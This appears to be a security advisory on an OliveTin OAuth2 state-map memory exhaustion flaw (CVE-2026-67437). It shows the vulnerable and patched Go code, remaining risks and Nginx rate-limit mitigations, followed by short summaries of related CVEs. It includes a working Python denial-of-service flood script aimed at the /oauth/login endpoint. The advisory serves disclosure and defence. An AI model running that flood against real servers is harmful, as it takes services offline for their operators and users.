Jul 31, 2026·8 min read·4 visits
Unauthenticated remote attackers can exhaust OliveTin server memory and crash the application by flooding the OAuth2 login endpoint, forcing unbounded allocation of state variables in memory.
An uncontrolled resource consumption vulnerability (CWE-400) in OliveTin allows unauthenticated remote attackers to exhaust server memory and trigger a denial of service (DoS). By repeatedly initiating the OAuth2 login flow without completing it, attackers can force the server to allocate state variables in an unbounded in-memory map. This heap-based resource exhaustion eventually causes the host operating system to terminate the OliveTin process via the Out-Of-Memory (OOM) killer.
OliveTin is an open-source application designed to expose predefined shell commands through a web interface, simplifying remote execution tasks. To control access to these command interfaces, the application implements OAuth2 authentication. The vulnerability, designated as CVE-2026-67437, is an unauthenticated memory exhaustion flaw (CWE-400) located within this OAuth2 authentication pathway.
The vulnerability arises from the way OliveTin handles temporary session state variables generated during the OAuth2 login handshake. Because the login initialization endpoint is exposed to the public internet, any remote attacker can interact with this service without presenting credentials. This exposure provides a direct attack vector targeting the memory management routine of the underlying Go application server.
When exploited, this flaw leads to uncontrolled resource consumption, ultimately causing the operating system to terminate the OliveTin process. This technical analysis explores the implementation oversight, the performance characteristics under load, and the remediation strategies necessary to secure the service.
The vulnerability resides in the Go-based backend within service/internal/auth/otoauth2/restapi_auth_oauth2.go. During a legitimate OAuth2 authorization flow, a client initiates the sequence by making an HTTP request to the /oauth/login endpoint. To mitigate Cross-Site Request Forgery (CSRF) attacks, the application generates a unique cryptographically secure pseudo-random string known as the "state".
The backend must retain this state string in order to compare it with the state returned by the identity provider on the /oauth/callback endpoint. In affected versions of OliveTin, the OAuth2Handler struct manages these generated states using an in-memory Go map named registeredStates. The handler saves metadata inside this map for every unique state string generated.
The structural weakness is the complete lack of eviction logic, maximum entry bounds, or time-to-live (TTL) expiration mechanisms for entries in this map. Neither successful authentication completions, failed match validations, nor idle timeouts trigger the removal of elements from the map. Under typical runtime conditions, map entries persist for the lifetime of the application process.
Because the map dynamically grows with each incoming login initialization, an attacker can continuously request new states. Each request allocates heap memory to store the state metadata, driving up the resident set size (RSS) of the application. Once system memory is depleted, the Linux kernel triggers the Out-Of-Memory (OOM) killer to terminate the OliveTin binary.
The vulnerable implementation handles state registration inside the HandleOAuthLogin function. When an HTTP request is received, the code generates a state and assigns it directly to the map under a mutex lock.
// VULNERABLE CODE PATH
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, err := randString(16)
// ... [provider validation logic] ...
h.mu.Lock()
// Unbounded assignment with no map size checks or TTL fields
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
}
h.mu.Unlock()
// ... [redirect to provider] ...
}The official fix introduces a bounded map structure, passive cleaning logic, and explicit deletion on validation failures. The patch defines a maximum size limit of 10000 entries and a maximum age threshold of 900 seconds.
// PATCHED CODE PATH
const (
oauthStateMaxAge = 900 // Max age in seconds
oauthStateMaxEntries = 10000 // Upper bound for the map
)
func (h *OAuth2Handler) sweepExpiredOAuthStatesLocked(now time.Time) {
cutoff := now.Add(-oauthStateMaxAge * time.Second)
for state, entry := range h.registeredStates {
// Delete entries that exceed the maximum age
if entry.createdAt.Before(cutoff) {
delete(h.registeredStates, state)
}
}
}
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, err := randString(16)
// ...
h.mu.Lock()
// Perform passive sweep of expired keys on every login request
h.sweepExpiredOAuthStatesLocked(time.Now())
// Enforce upper bound limits
if len(h.registeredStates) >= oauthStateMaxEntries {
h.mu.Unlock()
http.Error(w, "OAuth login temporarily unavailable", http.StatusServiceUnavailable)
return
}
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
createdAt: time.Now(), // Track creation time for sweeping
}
h.mu.Unlock()
}The patched implementation also adds explicit cleanup routines during the validation phase. If the client returns an invalid state during the callback or if the state is missing entirely, the server actively deletes the generated state using deleteOAuthStateLocked. This reduces unnecessary memory retention during failed authentication attempts.
Exploitation of CVE-2026-67437 requires no specialized tools or complex conditions. An attacker only needs network routing capability to the web-exposed OliveTin instance. Because the vulnerability exists prior to session validation, authentication tokens are not required.
The attack relies on sending concurrent HTTP GET requests to the /oauth/login endpoint. Each incoming request forces the backend server to invoke the HandleOAuthLogin routine. The server allocates a new 16-character state string, instantiates an oauth2State structure, and inserts both elements into the map.
The following Python script demonstrates how an attacker can automate this process. The script utilizes concurrent threads to flood the target endpoint, multiplying the rate of allocation.
import sys
import requests
import concurrent.futures
# Target OliveTin server URL and provider query parameter
TARGET_URL = "http://target-olivetin-instance:8080/oauth/login?provider=google"
REQUESTS_COUNT = 50000 # Number of states to register
CONCURRENCY = 50 # Number of concurrent threads
def send_login_request(session, url):
try:
# Initiate the flow without following the external redirect
response = session.get(url, allow_redirects=False, timeout=5)
return response.status_code
except Exception as e:
return None
def main():
print(f\"[*] Commencing unbounded state allocation flood on {TARGET_URL}...\")
session = requests.Session()
with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as executor:
futures = [executor.submit(send_login_request, session, TARGET_URL) for _ in range(REQUESTS_COUNT)]
completed = 0
for future in concurrent.futures.as_completed(futures):
completed += 1
if completed % 5000 == 0:
print(f\"[+] Sent {completed}/{REQUESTS_COUNT} requests...\")
print(\"[*] Flood completed. Monitor the target's memory utilization/process status.\")
if __name__ == \"__main__\":
main()Executing this script against a vulnerable target causes memory usage to rise continuously. Because the Go garbage collector cannot clean up map keys that are actively referenced in the map structure, the memory remains allocated. This condition persists until the host operating system intervenes and terminates the target process.
The concrete consequence of this vulnerability is a complete denial of service. Since OliveTin manages critical operational scripts, the abrupt termination of the process prevents administrators from running tools via the web UI. Although the vulnerability does not directly expose files or allow remote code execution, its high availability impact makes it a serious operational risk.
While the official patch introduced in version 3000.17.0 effectively mitigates the heap-exhaustion crash, a detailed analysis reveals residual security considerations. Specifically, an attacker can still cause a logical denial of service by filling the registeredStates map up to its 10,000-entry limit. Because the cleanup sweep is passive and only occurs during a login attempt, an attacker can trigger a temporary "Service Unavailable" (503) state for all legitimate users with relatively low request volume.
Furthermore, the passive cleanup routine, sweepExpiredOAuthStatesLocked, runs an $O(N)$ linear scan over the active states map under a global write lock (h.mu.Lock()). Under a highly concurrent attack, this scan causes severe lock contention. The application spends excessive CPU cycles traversing the map, which degrades overall system performance and slows down responses for legitimate endpoints.
Finally, the Go runtime map memory behavior must be considered. In Go, deleting keys from a map does not release the underlying bucket structures back to the operating system. If an attack causes the map to peak at 10,000 entries, the structural memory overhead of those empty map buckets remains allocated in the Go heap indefinitely, even after the keys are deleted.
The primary and recommended resolution is upgrading the OliveTin installation to version 3000.17.0 or later. This version contains the bounded map and state validation cleanup structures. Administrators can retrieve the official release binaries from the project release page.
For deployments where immediate updates are not feasible, network-level mitigations should be put in place. Administrators should deploy a reverse proxy, such as Nginx, HAProxy, or a Web Application Firewall (WAF), to enforce strict rate-limiting rules. This rate-limiting should specifically target the /oauth/login path to prevent rapid map growth.
The following configuration illustrates how to configure Nginx to restrict requests to the OAuth2 login path. It restricts clients to one request per second, which prevents attackers from overwhelming the map allocation or causing high CPU usage during sweeping.
# Limit zones defined in the http block
limit_req_zone $binary_remote_addr zone=oauth_limit:10m rate=1r/s;
server {
listen 80;
server_name olivetin.local;
# Apply strict limit to the login route
location /oauth/login {
limit_req zone=oauth_limit burst=5 nodelay;
proxy_pass http://127.0.0.1:8080;
}
# Normal operations for all other routes
location / {
proxy_pass http://127.0.0.1:8080;
}
}Additionally, access controls should restrict reaching the login interface. Exposing the OliveTin administration panel directly to the internet is not recommended. Putting the panel behind a Virtual Private Network (VPN) or IP-based access control list ensures that only trusted users can reach the authentication endpoints.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OliveTin OliveTin | >= 3000.0.0, < 3000.17.0 | 3000.17.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| Attack Vector | Network |
| CVSS v3.1 | 7.5 |
| EPSS Score | 0.00354 |
| Impact | Denial of Service (DoS) |
| Exploit Status | PoC (Proof-of-Concept) |
| KEV Status | Not listed |
The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed, eventually leading to exhaustion of available resources.
An incorrect authorization vulnerability (CWE-863) exists in OliveTin prior to version 3000.17.0. The flaw allows authenticated users who are authorized to execute commands but restricted from viewing logs to bypass this restriction. By utilizing synchronous endpoints, attackers can directly access execution outputs containing sensitive system data, credentials, and environmental configurations.
An OS command injection vulnerability exists in OliveTin versions >= 3000.2.0 and < 3000.17.0. The flaw stems from a validation bypass in the shell safety engine, which fails to recognize custom regular expression arguments as unsafe for actions run in shell execution mode. Furthermore, because these custom regex checks evaluate partial string matches, attackers can append arbitrary shell metacharacters to valid inputs. This allows unauthenticated or low-privilege users who are authorized to run configured actions to inject shell commands and achieve arbitrary remote code execution on the host system.
A critical vulnerability (CVE-2026-63118) in the Model Context Protocol (MCP) Ruby SDK allows attackers to execute arbitrary JSON-RPC commands and exfiltrate sensitive local data from an MCP server bound to the local loopback interface. This is achieved through DNS-rebinding and cross-origin request execution due to missing validation of the HTTP Host and Origin headers in the StreamableHTTPTransport component.
CVE-2026-63119 is a high-impact denial-of-service vulnerability in the Model Context Protocol (MCP) Ruby SDK (distributed as the 'mcp' gem) before version 0.23.0. The vulnerability allows an attacker to cause resource exhaustion and process termination by streaming unbounded input to standard I/O streams.
CVE-2026-67430 is a medium-severity Denial of Service (DoS) vulnerability in the Model Context Protocol (MCP) Ruby SDK (packaged as the mcp gem) versions prior to 0.23.0. In stateful deployments using the StreamableHTTPTransport class, client session states are retained in an in-memory hash map. Because the transport implements a nil idle timeout by default, the background scavenger process is suppressed. Remote, unauthenticated attackers can flood the endpoint with initialize requests, rapidly consuming system memory and triggering an Out-of-Memory (OOM) crash.
An uncontrolled memory allocation vulnerability (CWE-770) exists in the Model Context Protocol (MCP) Ruby SDK (the `mcp` gem) prior to version 0.23.0. The SDK's StreamableHTTPTransport and StdioTransport layers fail to impose bounds on incoming payloads. An unauthenticated attacker can exploit these issues by transmitting massive, nested payloads to exhaust worker memory, leading to process termination.